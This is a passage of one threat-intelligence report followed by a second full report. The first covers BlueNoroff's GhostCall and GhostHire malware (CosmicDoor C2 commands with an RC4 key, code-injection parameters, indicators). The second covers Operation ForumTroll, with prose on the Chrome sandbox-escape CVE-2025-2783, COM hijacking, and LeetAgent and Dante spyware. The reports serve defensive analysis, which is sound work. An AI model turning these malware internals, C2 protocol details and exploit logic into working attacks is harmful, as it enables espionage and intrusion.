Then the malware receives a response from the C2. The value of “e” (event) within the response should be 5, and the value of “p” is decoded using base64 and then decrypted using RC4 with the key 71B743C529F0B27735F7774A0903CB908EDC93423B60FE9BE49A3729982D0E8D, which is deserialized in JSON. The command is extracted from the “c” (command) field in the JSON object, and the malware performs specific actions according to the command.

Command	Description	Parameter from C2
1	Get list of subfiles	Directory path
2	Wipe file	File path
3	Read file	File path
4	Read directory	Directory path
5	Get directory information	Directory path
6	Get process information	–
7	Terminate process	Process ID
8	Execute command	Command line
10	Write file	File path, content
11	Change work directory	Directory path
12	Get device information	–
13	Get local drives	–
14	Delete file	File path
15	Cancel command
16	File download	Data for file download
19	Process injection	Data for process injection

Upon receiving the file download command (16), the d (data) field in the response contains a JSON object. If the u (url) field is initialized, a connection is established to the specified URL using the m (method) and h (headers) fields provided in the same JSON object. If the connection returns a 200 status code (success), the response body is written to the file path indicated by the r (rpath) value in the response.

While the u value is not initialized, the malware writes the value of the b (buffer) field from the response to the path provided through the r field. It continues writing b until the e (eof) flag is set and then sends the xxHash of the total downloaded contents to the C2 server. This allows for the downloading of the larger file contents from the C2 server.

When receiving the process injection command (19), the d in the response includes another JSON object. If the l (local) flag within this object is set to true, a t (total) amount of data is read from b starting at the f (from) position specified in the object. The xxHash value of b is then validated to ensure it matches the provided h (hash) value. If the l flag is false, b is instead read from the file path specified as fp (file path). The payload is then injected into cmd.exe with the same method as the peshooter used in RooTroy.

The result is then serialized and secured with a combination of RC4 encryption and base64 encoding before being sent to the C2 server. The key used for encryption, 71B743C529F0B27735F7774A0903CB908EDC93423B60FE9BE49A3729982D0E8D, is the same key used to decrypt the response object.

CosmicDoor.Windows written in Go

CosmicDoor.Windows is the Windows version of CosmicDoor written in Go and has the same features as macOS versions. The C2 server address wss://second.systemupdate[.]cloud/client is hardcoded in the malware. It processes a total of seven commands, passed from the C2.

Command	Description	Parameter from C2
234	Get device information	–
333	No operation	Unknown
44	Update configuration	Interval time, UID, C2 server address
78	Get current work directory	–
1	Get interval time	–
12	Execute commands OR code injection	Command line
34	Set current work directory	Directory path

The command 234 is for collecting device information such as user name, computer name, OS, architecture, Windows version, and boot time.

The command 12 serves two primary functions. The first is to execute a command line passed as a parameter using cmd.exe /c, while the second is to perform code injection. This injection capability is nearly identical to the peshooter functionality found in RooTroy, but it is considered an enhanced version.

Within CosmicDoor, the peshooter feature can accept up to six parameters using the shoot or shoote command to configure code injection options. If a file path is provided in the PATH parameter, the next payload is read from that file on the system. Conversely, if a string beginning with http is specified, the next payload is retrieved through HTTP communication instead.

Num	Parameter	Description
1	shoot or shoote	The next payload is either plain or base64-encoded
2	SID	Session ID to be used when executing notepad.exe
3	PID	Process ID of the targeted process to be injected
4	REASON	If set to -1, ARGS is passed to the injected payload
5	PATH	Read payload from local file or fetch it from external server
6	ARGS	Parameters to be passed
7	FUNC	Export function name to execute

Then it checks the SID, PID, and REASON parameters. If PID is not passed, CosmicDoor defaults to creating notepad.exe in suspended mode and assigns it a target for injection, and the SID determines the session ID that runs notepad.exe. If no SID is passed, it defaults to the token of the current process. REASON means to pass ARGS to the payload by default if no value greater than 0 is passed.

Finally, CosmicDoor allocates space inside of the targeted process’s memory space for the payload, the hardcoded shellcode for the loader, and ARGS to write the data, and then invokes the loader code to execute the final payload from memory. If FUNC is set at this point, it calls the corresponding export function of the loaded payload. This usage is also well displayed inside CosmicDoor.

"ERROR: Invalid syntax.\n"
"Examples:\n"
"\tshoot [SID] [PID] [REASON] [PATH] [ARGS] [FUNC]\n"
"Parameter List:\n"
"\t[SID] Session ID.\n"
"\t[PID] Process ID.\n"
"\t[REASON] reason.\n"
"\t[PATH] the path of PE file.\n"
"\t[ARGS] the arguments of PE file.\n"
"\t[FUNC] Export function of PE file.\n";

Bof loader written in Rust

Bof loader is assumed to be one of the payloads downloaded from dataupload[.]store by DownTroy. It is a loader protected by Themida and written in Rust. The malware was created with the name nlsport.dll, and unlike other malware, it is registered with security support providers and loaded with SYSTEM privileges by the LSASS process at Windows boot time. In this instance, the malicious behavior is implemented in the SpLsaModeInitialize export function inside the DLL file and it contains the string that indicates its work path C:\Users\Molly.

The loader employs the NTDLL unhooking technique, a method also used by other malware families. After unhooking, the loader reads two files. The first one contains an RC4 key, while the second holds a payload encrypted with that key.

• RC4 key: C:\Windows\system32\wand.bin
• Encrypted payload: C:\Windows\system32\front.sdl.

The loader then decrypts the payload, allocates memory in the current process, and executes the decrypted shellcode via the NtCreateThreadEx function. This is very similar to the injection feature implemented within RooTroy, written in Golang.

During our focused monitoring of the threat actor’s infrastructure, we discovered that one of the instances was signed with a valid certificate from a legitimate Indian company.

Victims

Using our telemetry, we detected infection events from various countries affected by both campaigns. We have observed several infected macOS hosts located in Japan, Italy, France, Singapore, Turkey, Spain, Sweden, India and Hong Kong infected by the GhostCall campaign since 2023. The victims of the GhostHire campaign, which resumed its activities starting this year, have been identified as individuals in Japan and Australia.

We observed that many stolen videos and profile images have been uploaded to the actor’s public storage server. These were utilized to convince victims in the course of the GhostCall campaign. We closely examined the uploaded data and found that most victims were executives at tech companies and venture capital funds in the Web3/blockchain industry located in the APAC region, particularly in Singapore and Hong Kong.

Attribution

In 2022, we already uncovered the PowerShell script that BlueNoroff heavily relied on to collect base system information and execute commands from its C2 server. This script is considered to be an earlier version of DownTroy. Moreover, leveraging trusted resources attributed to venture capital funds to attack the cryptocurrency-related industry was a primary attack method of the SnatchCrypto campaign. Additionally, the tendency to create phishing domains using the names of venture capital firms and the use of Hostwinds hosting to build these phishing sites also overlaps with past cases of BlueNoroff observed in our previous research.

In late-2023, we provided an insight into the early stage of the BlueNoroff’s GhostCall campaign to our customers. The actor utilized JavaScript and AppleScript to raise an issue regarding IP access control on Windows and macOS respectively. In this instance, the JavaScript ultimately downloaded a VBScript file, which has been identified as a VBScript version of DownTroy. This version shares a C2 server with CosmicDoor.Windows. The AppleScript was used against a victim in August 2023, and fetched from a fake domain support.video-meeting[.]online, which shared its resolved IP address (104.168.214[.]151) with the ObjCShellZ malware’s C2 server swissborg[.]blog.

We assess with medium-high confidence that BlueNoroff is behind both campaigns when comprehensively considering the infrastructure, malware, attack methods, final targets, and motives behind the attacks used in both campaigns.

Conclusion

Our research indicates a sustained effort by the actor to develop malware targeting both Windows and macOS systems, orchestrated through a unified command-and-control infrastructure. The use of generative AI has significantly accelerated this process, enabling more efficient malware development with reduced operational overhead. Notably, AI will make it easier to introduce new programming languages and add new features, thereby complicating detection and analysis tasks. Furthermore, AI supports the actor’s ability to maintain and expand their infrastructure, enhancing their overall productivity.

Beyond technical capabilities, the actor leverages AI to refine sophisticated social engineering tactics. The AI-powered, tailored approach enables the attackers to convincingly disguise themselves, operating with detailed information, allowing for more meticulous targeted attacks. By combining compromised data with AI’s analytical and productive capabilities, the actor’s attack success rate has demonstrably increased.

The actor’s targeting strategy has evolved beyond simple cryptocurrency and browser credential theft. Upon gaining access, they conduct comprehensive data acquisition across a range of assets, including infrastructure, collaboration tools, note-taking applications, development environments, and communication platforms (messengers). This harvested data is exploited not only against the initial target but also to facilitate subsequent attacks, enabling the actor to execute supply chain attacks and leverage established trust relationships to impact a broader range of users.

Kaspersky products detect the malware used in this attack with the following verdicts:

HEUR:Trojan.VBS.Agent.gen	UDS:Trojan.PowerShell.SBadur.gen	HEUR:Trojan.VBS.Cobalt.gen
Trojan.VBS.Runner	Trojan-Downloader.PowerShell.Powedon	Trojan.Win64.Kryptik
Backdoor.PowerShell.Agent	HEUR:Backdoor.OSX.OSA	HEUR:Backdoor.OSX.Agent
Backdor.Shell.Agent	Trojan.Win32.BlueNoroff.l	HEUR:Trojan-Spy.OSX.ZoomClutch.a
HEUR:Trojan.OSX.Nimcore.a	HEUR:Backdoor.OSX.RooTroy.a	HEUR:Trojan-Downloader.OSX.Bluenoroff.a
HEUR:Backdoor.OSX.CosmicDoor.a	HEUR:Trojan-Dropper.OSX.GillyInjector.a	HEUR:Trojan.OSX.Nukesped.*
HEUR:Trojan-Downloader.OSX.Bluenoroff.b	HEUR:Backdoor.Python.Agent.br	HEUR:Trojan.HTML.Bluenoroff.a
HEUR:Trojan.OSX.BlueNoroff.gen	Trojan.Python.BlueNoroff.a	Trojan.Shell.Agent.gn

Indicators of compromise

More IoCs are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

AppleScript
e33f942cf1479ca8530a916868bad954        zoom_sdk_support.scpt
963f473f1734d8b3fbb8c9a227c06d07         test1
60bfe4f378e9f5a84183ac505a032228        MSTeamsUpdate.scpt

ZoomClutch
7f94ed2d5f566c12de5ebe4b5e3d8aa3         zoom

TeamsClutch
389447013870120775556bb4519dba97        Microsoft Teams

DownTroy v1 chain
50f341b24cb75f37d042d1e5f9e3e5aa         trustd
a26f2b97ca4e2b4b5d58933900f02131        watchdog, SafariUpdate
6422795a6df10c45c1006f92d686ee7e        633835385.txt

CosmicDoor in Rust
931cec3c80c78d233e3602a042a2e71b         dnschk
c42c7a2ea1c2f00dddb0cc4c8bfb5bcf         dnschk

CosmicDoor in Python
9551b4af789b2db563f9452eaf46b6aa        netchk

CosmicDoor chain
76ace3a6892c25512b17ed42ac2ebd05         a
19a7e16332a6860b65e6944f1f3c5001         a

SilentSiphon
c446682f33641cff21083ac2ce477dbe         upl
e8680d17fba6425e4a9bb552fb8db2b1        upl.sh
10cd1ef394bc2a2d8d8f2558b73ac7b8        upl.sh
a070b77c5028d7a5d2895f1c9d35016f        cpl.sh
38c8d80dd32d00e9c9440a498f7dd739        secrets.sh
7168ce5c6e5545a5b389db09c90038da         uad.sh
261a409946b6b4d9ce706242a76134e3         ubd.sh
31b88dd319af8e4b8a96fc9732ebc708        utd.sh

RooTroy chain
1ee10fa01587cec51f455ceec779a160         rtv4inst
3bbe4dfe3134c8a7928d10c948e20bee        st, Update Check
7581854ff6c890684823f3aed03c210f         wt
01d3ed1c228f09d8e56bfbc5f5622a6c        remoted

RealTimeTroy chain
5cb4f0084f3c25e640952753ed5b25d0         Chrome Update

SneakMain in Rust
1243968876262c3ad4250e1371447b23        helper, wt
5ad40a5fd18a1b57b69c44bc2963dc6b        633835387.txt
6348b49f3499d760797247b94385fda3        ChromeUpdate

SneakMain chain
17baae144d383e4dc32f1bf69700e587         mdworker
8f8942cd14f646f59729f83cbd4c357b        com.password.startup
0af11f610da1f691e43173d44643283f        CloudSigner, Microsoft Excel, Hancom Office HWP, zoom.us, com.onedrive.updater
7e50c3f301dd045eb189ba1644ded155        mig

TripleWatch stealer
0ca37675d75af0e7def0025cd564d6c5        keyboardd

DownTroy v2 chain
d63805e89053716b6ab93ce6decf8450         CoreKitAgent
e9fdd703e60b31eb803b1b59985cabec         GoogIe LLC
f1d2af27b13cd3424556b18dfd3cf83f        installer
b567bfdaac131a2d8a23ad8fd450a31d         CoreKitAgent
00dd47af3db45548d2722fe8a4489508        GoogIe LLC
6aa93664b4852cb5bad84ba1a187f645        installer
d8529855fab4b4aa6c2b34449cb3b9fb        CoreKitAgent
eda0525c078f5a216a977bc64e86160a         GoogIe LLC
ab1e8693931f8c694247d96cf5a85197        installer

SysPhon chain
1653d75d579872fadec1f22cf7fee3c0        com.apple.sysd
529fe6eff1cf452680976087e2250c02         growth
a0eb7e480752d494709c63aa35ccf36c        com.apple.secd
73d26eb56e5a3426884733c104c3f625        Wi-Fi Updater

VBScript
358c2969041c8be74ce478edb2ffcd19        init.vbs
2c42253ebf9a743814b9b16a89522bef        init.vbs

DownTroy.Windows
f1bad0efbd3bd5a4202fe740756f977a        init.ps1
a6ce961f487b4cbdfe68d0a249647c48        init.ps1
8006efb8dd703073197e5a27682b35bf         init.ps1
c6f0c8d41b9ad4f079161548d2435d80                init.ps1
f8bb2528bf35f8c11fbc4369e68c4038                init.ps1

Bof loader
b2e9a6412fd7c068a5d7c38d0afd946f        nlsport.dll
de93e85199240de761a8ba0a56f0088d

File hosting server
system.updatecheck[.]store
dataupload[.]store
safeupload[.]online
filedrive[.]online

AppleScript C2
hxxp://web071zoom[.]us/fix/audio/4542828056
hxxp://web071zoom[.]us/fix/audio-fv/7217417464
hxxp://web071zoom[.]us/fix/audio-tr/7217417464
hxxps://support.ms-live[.]us/301631/check
hxxps://support.ms-live[.]us/register/22989524464UcX2b5w52
hxxps://support.ms-live[.]us/update/02583235891M49FYUN57

ZoomClutch/TeamsClutch C2
hxxps://safeupload[.]online/uploadfiles
hxxps://api.clearit[.]sbs/uploadfiles
hxxps://api.flashstore[.]sbs/uploadfiles
hxxps://filedrive[.]online/uploadfiles

DownTroy C2
hxxps://bots.autoupdate[.]online:8080/test
hxxps://writeup[.]live/test
hxxps://safeup[.]store/test
hxxps://api[.]clearit[.]sbs/test
hxxps://api[.]flashstore[.]sbs/test

CosmicDoor C2
ws://web.commoncome[.]online:8080/client
ws://first.longlastfor[.]online:8080/client
wss://firstfromsep[.]online/client
second.systemupdate[.]cloud
second.awaitingfor[.]online

RooTroy C2
safefor[.]xyz
readysafe[.]xyz

RealTimeTroy C2
instant-update[.]online
signsafe[.]xyz

TripleWatch stealer C2
hxxps://metamask.awaitingfor[.]site/update

SilentSiphon C2
hxxps://urgent-update[.]cloud/uploadfiles
hxxps://dataupload[.]store/uploadfiles
hxxps://filedrive[.]online/uploadfiles

SneakMain.macOS C2
hxxps://chkactive[.]online/update
hxxps://file-server[.]store/update
hxxps://cloud-server[.]store/update
hxxps://flashserve[.]store/update

Additional C2 servers
download.datatabletemplate[.]xyz
check.datatabletemplate[.]shop
download.face-online[.]world
root.security-update[.]xyz
real-update[.]xyz
root.chkstate[.]online
secondshop[.]online
signsafe[.]site
secondshop[.]store
botsc.autoupdate[.]xyz
first.system-update[.]xyz
image-support[.]xyz
pre.alwayswait[.]site

In March 2025, Kaspersky detected a wave of infections that occurred when users clicked on personalized phishing links sent via email. No further action was required to initiate the infection; simply visiting the malicious website using Google Chrome or another Chromium-based web browser was enough.

The malicious links were personalized and extremely short-lived to avoid detection. However, Kaspersky’s technologies successfully identified a sophisticated zero-day exploit that was used to escape Google Chrome’s sandbox. After conducting a quick analysis, we reported the vulnerability to the Google security team, who fixed it as CVE-2025-2783.

We dubbed this campaign Operation ForumTroll because the attackers sent personalized phishing emails inviting recipients to the Primakov Readings forum. The lures targeted media outlets, universities, research centers, government organizations, financial institutions, and other organizations in Russia. The functionality of the malware suggests that the operation’s primary purpose was espionage.

We traced the malware used in this attack back to 2022 and discovered more attacks by this threat actor on organizations and individuals in Russia and Belarus. While analyzing the malware used in these attacks, we discovered an unknown piece of malware that we identified as commercial spyware called “Dante” and developed by the Italian company Memento Labs (formerly Hacking Team).

Similarities in the code suggest that the Operation ForumTroll campaign was also carried out using tools developed by Memento Labs.

In this blog post, we’ll take a detailed look at the Operation ForumTroll attack chain and reveal how we discovered and identified the Dante spyware, which remained hidden for years after the Hacking Team rebrand.

Attack chain

In all known cases, infection occurred after the victim clicked a link in a spear phishing email that directed them to a malicious website. The website verified the victim and executed the exploit.

When we first discovered and began analyzing this campaign, the malicious website no longer contained the code responsible for carrying out the infection; it simply redirected visitors to the official Primakov Readings website.

Therefore, we could only work with the attack artifacts discovered during the first wave of infections. Fortunately, Kaspersky technologies detected nearly all of the main stages of the attack, enabling us to reconstruct and analyze the Operation ForumTroll attack chain.

Phishing email

The malicious emails sent by the attackers were disguised as invitations from the organizers of the Primakov Readings scientific and expert forum. These emails contained personalized links to track infections. The emails appeared authentic, contained no language errors, and were written in the style one would expect for an invitation to such an event. Proficiency in Russian and familiarity with local peculiarities are distinctive features of the ForumTroll APT group, traits that we have also observed in its other campaigns. However, mistakes in some of those other cases suggest that the attackers were not native Russian speakers.

Validator

The validator is a relatively small script executed by the browser. It validates the victim and securely downloads and executes the next stage of the attack.

The first action the validator performs is to calculate the SHA-256 of the random data received from the server using the WebGPU API. It then verifies the resulting hash. This is done using the open-source code of Marco Ciaramella’s sha256-gpu project. The main purpose of this check is likely to verify that the site is being visited by a real user with a real web browser, and not by a mail server that might follow a link, emulate a script, and download an exploit. Another possible reason for this check could be that the exploit triggers a vulnerability in the WebGPU API or relies on it for exploitation.

The validator sends the infection identifier, the result of the WebGPU API check and the newly generated public key to the C2 server for key exchange using the Elliptic-curve Diffie–Hellman (ECDH) algorithm. If the check is passed, the server responds with an AES-GCM key. This key is used to decrypt the next stage, which is hidden in requests to bootstrap.bundle.min.js and .woff2 font files. Following the timeline of events and the infection logic, this next stage should have been a remote code execution (RCE) exploit for Google Chrome, but it was not obtained during the attack.

Sandbox escape exploit

Over the years, we have discovered and reported on dozens of zero-day exploits that were actively used in attacks. However, CVE-2025-2783 is one of the most intriguing sandbox escape exploits we’ve encountered. This exploit genuinely puzzled us because it allowed attackers to bypass Google Chrome’s sandbox protection without performing any obviously malicious or prohibited actions. This was due to a powerful logical vulnerability caused by an obscure quirk in the Windows OS.

To protect against bugs and crashes, and enable sandboxing, Chrome uses a multi-process architecture. The main process, known as the browser process, handles the user interface and manages and supervises other processes. Sandboxed renderer processes handle web content and have limited access to system resources. Chrome uses Mojo and the underlying ipcz library, introduced to replace legacy IPC mechanisms, for interprocess communication between the browser and renderer processes.

The exploit we discovered came with its own Mojo and ipcz libraries that were statically compiled from official sources. This enabled attackers to communicate with the IPC broker within the browser process without having to manually craft and parse ipcz messages. However, this created a problem for us because, to analyze the exploit, we had to identify all the Chrome library functions it used. This involved a fair amount of work, but once completed, we knew all the actions performed by the exploit.

In short, the exploit does the following:

• Resolves the addresses of the necessary functions and code gadgets from dll using a pattern search.
• Hooks the v8_inspector::V8Console::Debug function. This allows attackers to escape the sandbox and execute the desired payload via a JavaScript call.
• Starts executing a sandbox escape when attackers call console.debug(0x42, shellcode); from their script.
• Hooks the ipcz::NodeLink::OnAcceptRelayedMessage function.
• Creates and sends an ipcz message of the type RelayMessage. This message type is used to pass Windows OS handles between two processes that do not have the necessary permissions (e.g., renderer processes). The exploit retrieves the handle returned by the GetCurrentThread API function and uses this ipcz message to relay it to itself. The broker transfers handles between processes using the DuplicateHandle API function.
• Receives the relayed message back using the ipcz::NodeLink::OnAcceptRelayedMessage function hook, but instead of the handle that was previously returned by the GetCurrentThread API function, it now contains a handle to the thread in the browser process!
• Uses this handle to execute a series of code gadgets in the target process by suspending the thread, setting register values using SetThreadContext, and resuming the thread. This results in shellcode execution in the browser process and subsequent installation of a malware loader.

So, what went wrong, and how was this possible? The answer can be found in the descriptions of the GetCurrentThread and GetCurrentProcess API functions. When these functions are called, they don’t return actual handles; rather, they return pseudo handles, special constants that are interpreted by the kernel as a handle to the current thread or process. For the current process, this constant is -1 (also equal to INVALID_HANDLE_VALUE, which brings its own set of quirks), and the constant for the current thread is -2. Chrome’s IPC code already checked for handles equal to -1, but there were no checks for -2 or other undocumented pseudo handles. This oversight led to the vulnerability. As a result, when the broker passed the -2 pseudo handle received from the renderer to the DuplicateHandle API function while processing the RelayMessage, it converted -2 into a real handle to its own thread and passed it to the renderer.

Shortly after the patch was released, it became clear that Chrome was not the only browser affected by the issue. Firefox developers quickly identified a similar pattern in their IPC code and released an update under CVE-2025-2857.

When pseudo handles were first introduced, they simplified development and helped squeeze out extra performance – something that was crucial on older PCs. Now, decades later, that outdated optimization has come back to bite us.

Could we see more bugs like this? Absolutely. In fact, this represents a whole class of vulnerabilities worth hunting for – similar issues may still be lurking in other applications and Windows system services.

To learn about the hardening introduced in Google Chrome following the discovery of CVE-2025-2783, we recommend checking out Alex Gough’s upcoming presentation, “Responding to an ITW Chrome Sandbox Escape (Twice!),” at Kawaiicon.

Persistent loader

Persistence is achieved using the Component Object Model (COM) hijacking technique. This method exploits a system’s search order for COM objects. In Windows, each COM class has a registry entry that associates the CLSID (128-bit GUID) of the COM with the location of its DLL or EXE file. These entries are stored in the system registry hive HKEY_LOCAL_MACHINE (HKLM), but can be overridden by entries in the user registry hive HKEY_CURRENT_USER (HKCU). This enables attackers to override the CLSID entry and run malware when the system attempts to locate and run the correct COM component.

The attackers used this technique to override the CLSID of twinapi.dll {AA509086-5Ca9-4C25-8F95-589D3C07B48A} and cause the system processes and web browsers to load the malicious DLL.

This malicious DLL is a loader that decrypts and executes the main malware. The payload responsible for loading the malware is encoded using a simple binary encoder similar to those found in the Metasploit framework. It is also obfuscated with OLLVM. Since the hijacked COM object can be loaded into many processes, the payload checks the name of the current process and only loads the malware when it is executed by certain processes (e.g., rdpclip.exe). The main malware is decrypted using a modified ChaCha20 algorithm. The loader also has the functionality to re-encrypt the malware using the BIOS UUID to bind it to the infected machine. The decrypted data contains the main malware and a shellcode generated by Donut that launches it.

LeetAgent

LeetAgent is the spyware used in the Operation ForumTroll campaign. We named it LeetAgent because all of its commands are written in leetspeak. You might not believe it, but this is rare in APT malware. The malware connects to one of its C2 servers specified in the configuration and uses HTTPS to receive and execute commands identified by unique numeric values:

• 0xC033A4D (COMMAND) – Run command with cmd.exe
• 0xECEC (EXEC) – Execute process
• 0x6E17A585 (GETTASKS) – Get list of tasks that agent is currently executing
• 0x6177 (KILL) – Stop task
• 0xF17E09 (FILE \x09) – Write file
• 0xF17ED0 (FILE \xD0) – Read file
• 0x1213C7 (INJECT) – Inject shellcode
• 0xC04F (CONF) – Set communication parameters
• 0xD1E (DIE) – Quit
• 0xCD (CD) – Change current directory
• 0x108 (JOB) – Set parameters for keylogger or file stealer

In addition to executing commands received from its C2, it runs keylogging and file-stealing tasks in the background. By default, the file-stealer task searches for documents with the following extensions: *.doc, *.xls, *.ppt, *.rtf, *.pdf, *.docx, *.xlsx, *.pptx.

The configuration data is encoded using the TLV (tag-length-value) scheme and encrypted with a simple single-byte XOR cipher. The data contains settings for communicating with the C2, including many settings for traffic obfuscation.

In most of the observed cases, the attackers used the Fastly.net cloud infrastructure to host their C2. Attackers frequently use it to download and run additional tools such as 7z, Rclone, SharpChrome, etc., as well as additional malware (more on that below).

The number of traffic obfuscation settings may indicate that LeetAgent is a commercial tool, though we have only seen ForumTroll APT use it.

Finding Dante

In our opinion, attributing unknown malware is the most challenging aspect of security research. Why? Because it’s not just about analyzing the malware or exploits used in a single attack; it’s also about finding and analyzing all the malware and exploits used in past attacks that might be related to the one you’re currently investigating. This involves searching for and investigating similar attacks using indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs), as well as identifying overlaps in infrastructure, code, etc. In short, it’s about finding and piecing together every scrap of evidence until a picture of the attacker starts to emerge.

We traced the first use of LeetAgent back to 2022 and discovered more ForumTroll APT attacks on organizations and individuals in Russia and Belarus. In many cases, the infection began with a phishing email containing malicious attachments with the following names:

• Baltic_Vector_2023.iso (translated from Russian)
• DRIVE.GOOGLE.COM (executable file)
• Invitation_Russia-Belarus_strong_partnership_2024.lnk (translated from Russian)
• Various other file names mentioning individuals and companies

In addition, we discovered another cluster of similar attacks that used more sophisticated spyware instead of LeetAgent. We were also able to track the first use of this spyware back to 2022. In this cluster, the infections began with phishing emails containing malicious attachments with the following names:

• SCAN_XXXX_<DATE>.pdf.lnk
• <DATE>_winscan_to_pdf.pdf.lnk
• Rostelecom.pdf.lnk (translated from Russian)
• Various others

The attackers behind this activity used similar file system paths and the same persistence method as the LeetAgent cluster. This led us to suspect that the two clusters might be related, and we confirmed a direct link when we discovered attacks in which this much more sophisticated spyware was launched by LeetAgent.

After analyzing this previously unknown, sophisticated spyware, we were able to identify it as commercial spyware called Dante, developed by the Italian company Memento Labs.

The Atlantic Council’s Cyber Statecraft Initiative recently published an interesting report titled “Mythical Beasts and where to find them: Mapping the global spyware market and its threats to national security and human rights.” We think that comparing commercial spyware to mythical beasts is a fitting analogy. While everyone in the industry knows that spyware vendors exist, their “products” are rarely discovered or identified. Meanwhile, the list of companies developing commercial spyware is huge. Some of the most famous are NSO Group, Intellexa, Paragon Solutions, Saito Tech (formerly Candiru), Vilicius Holding (formerly FinFisher), Quadream, Memento Labs (formerly Hacking Team), negg Group, and RCS Labs. Some are always in the headlines, some we have reported on before, and a few have almost completely faded from view. One company in the latter category is Memento Labs, formerly known as Hacking Team.

Hacking Team (also stylized as HackingTeam) is one of the oldest and most famous spyware vendors. Founded in 2003, Hacking Team became known for its Remote Control Systems (RCS) spyware, used by government clients worldwide, and for the many controversies surrounding it. The company’s trajectory changed dramatically in 2015 when more than 400 GB of internal data was leaked online following a hack. In 2019, the company was acquired by InTheCyber Group and renamed Memento Labs. “We want to change absolutely everything,” the Memento Labs owner told Motherboard in 2019. “We’re starting from scratch.” Four years later, at the ISS World MEA 2023 conference for law enforcement and government intelligence agencies, Memento Labs revealed the name of its new surveillance tool – DANTE. Until now, little was known about this malware’s capabilities, and its use in attacks had not been discovered.

The problem with detecting and attributing commercial spyware is that vendors typically don’t include their copyright information or product names in their exploits and malware. In the case of the Dante spyware, however, attribution was simple once we got rid of VMProtect’s obfuscation and found the malware name in the code.

Dante

Of course, our attribution isn’t based solely on the string “Dante” found in the code, but it was an important clue that pointed us in the right direction. After some additional analysis, we found a reference to a “2.0” version of the malware, which matches the title of the aforementioned conference talk. We then searched for and identified the most recent samples of Hacking Team’s Remote Control Systems (RCS) spyware. Memento Labs kept improving its codebase until 2022, when it was replaced by Dante. Even with the introduction of the new malware, however, not everything was built from scratch; the later RCS samples share quite a few similarities with Dante. All these findings make us very confident in our attribution.

Why did the authors name it Dante? This may be a nod to tradition, as RCS spyware was also known as “Da Vinci”. But it could also be a reference to Dante’s poem Divine Comedy, alluding to the many “circles of hell” that malware analysts must pass through when detecting and analyzing the spyware given its numerous anti-analysis techniques.

First of all, the spyware is packed with VMProtect. It obfuscates control flow, hides imported functions, and adds anti-debugging checks. On top of that, almost every string is encrypted.

To protect against dynamic analysis, Dante uses the following anti-hooking technique: when code needs to execute an API function, its address is resolved using a hash, its body is parsed to extract the system call number, and then a new system call stub is created and used.

In addition to VMProtect’s anti-debugging techniques, Dante uses some common methods to detect debuggers. Specifically, it checks the debug registers (Dr0–Dr7) using NtGetContextThread, inspects the KdDebuggerEnabled field in the KUSER_SHARED_DATA structure, and uses NtQueryInformationProcess to detect debugging by querying the ProcessDebugFlags, ProcessDebugPort, ProcessDebugObjectHandle, and ProcessTlsInformation classes.

To protect itself from being discovered, Dante employs an interesting method of checking the environment to determine if it is safe to continue working. It queries the Windows Event Log for events that may indicate the use of malware analysis tools or virtual machines (as a guest or host).

It also performs several anti-sandbox checks. It searches for “bad” libraries, measures the execution times of the sleep() function and the cpuid instruction, and checks the file system.

Some of these anti-analysis techniques may be a bit annoying, but none of them really work or can stop a professional malware analyst. We deal with these techniques on an almost daily basis.

After performing all the checks, Dante does the following: decrypts the configuration and the orchestrator, finds the string “DANTEMARKER” in the orchestrator, overwrites it with the configuration, and then loads the orchestrator.

The configuration is decrypted from the data section of the malware using a simple XOR cipher. The orchestrator is decrypted from the resource section and poses as a font file. Dante can also load and decrypt the orchestrator from the file system if a newer, updated version is available.

The orchestrator displays the code quality of a commercial product, but isn’t particularly interesting. It is responsible for communication with C2 via HTTPs protocol, handling modules and configuration, self-protection, and self-removal.

Modules can be saved and loaded from the file system or loaded from memory. The infection identifier (GUID) is encoded in Base64. Parts of the resulting string are used to derive the path to a folder containing modules and the path to additional settings stored in the registry.

The folder containing modules includes a binary file that stores information about all downloaded modules, including their versions and filenames. This metadata file is encrypted with a simple XOR cipher, while the modules are encrypted with AES-256-CBC, using the first 0x10 bytes of the module file as the IV and the key bound to the machine. The key is equal to the SHA-256 hash of a buffer containing the CPU identifier and the Windows Product ID.

To protect itself, the orchestrator uses many of the same anti-analysis techniques, along with additional checks for specific process names and drivers.

If Dante doesn’t receive commands within the number of days specified in the configuration, it deletes itself and all traces of its activity.

At the time of writing this report, we were unable to analyze additional modules because there are currently no active Dante infections among our users. However, we would gladly analyze them if they become available. Now that information about this spyware has been made public and its developer has been identified, we hope it won’t be long before additional modules are discovered and examined. To support this effort, we are sharing a method that can be used to identify active Dante spyware infections (see the Indicators of compromise section).

Although we didn’t see the ForumTroll APT group using Dante in the Operation ForumTroll campaign, we have observed its use in other attacks linked to this group. Notably, we saw several minor similarities between this attack and others involving Dante, such as similar file system paths, the same persistence mechanism, data hidden in font files, and other minor details. Most importantly, we found similar code shared by the exploit, loader, and Dante. Taken together, these findings allow us to conclude that the Operation ForumTroll campaign was also carried out using the same toolset that comes with the Dante spyware.

Conclusion

This time, we have not one, but three conclusions.

1) DuplicateHandle is a dangerous API function. If the process is privileged and the user can provide a handle to it, the code should return an error when a pseudo-handle is supplied.

2) Attribution is the most challenging part of malware analysis and threat intelligence, but also the most rewarding when all the pieces of the puzzle fit together perfectly. If you ever dreamed of being a detective as a child and solving mysteries like Sherlock Holmes, Miss Marple, Columbo, or Scooby-Doo and the Mystery Inc. gang, then threat intelligence might be the right job for you!

3) Back in 2019, Hacking Team’s new owner stated in an interview that they wanted to change everything and start from scratch. It took some time, but by 2022, almost everything from Hacking Team had been redone. Now that Dante has been discovered, perhaps it’s time to start over again.

Full details of this research, as well as future updates on ForumTroll APT and Dante, are available to customers of the APT reporting service through our Threat Intelligence Portal.

Contact: intelreports@kaspersky.com

Indicators of compromise

Kaspersky detections
Exploit.Win32.Generic
Exploit.Win64.Agent
Trojan.Win64.Agent
Trojan.Win64.Convagent.gen
HEUR:Trojan.Script.Generic
PDM:Exploit.Win32.Generic
PDM:Trojan.Win32.Generic
UDS:DangerousObject.Multi.Generic

TTP detection rules in Kaspersky NEXT EDR Expert
suspicious_drop_dll_via_chrome
This rule detects a DLL load within a Chrome process, initiated via Outlook. This behavior is consistent with exploiting a vulnerability that enables browser sandbox bypass through the manipulation of Windows pseudo-handles and IPC.

possible_com_hijacking_by_memento_labs_via_registry
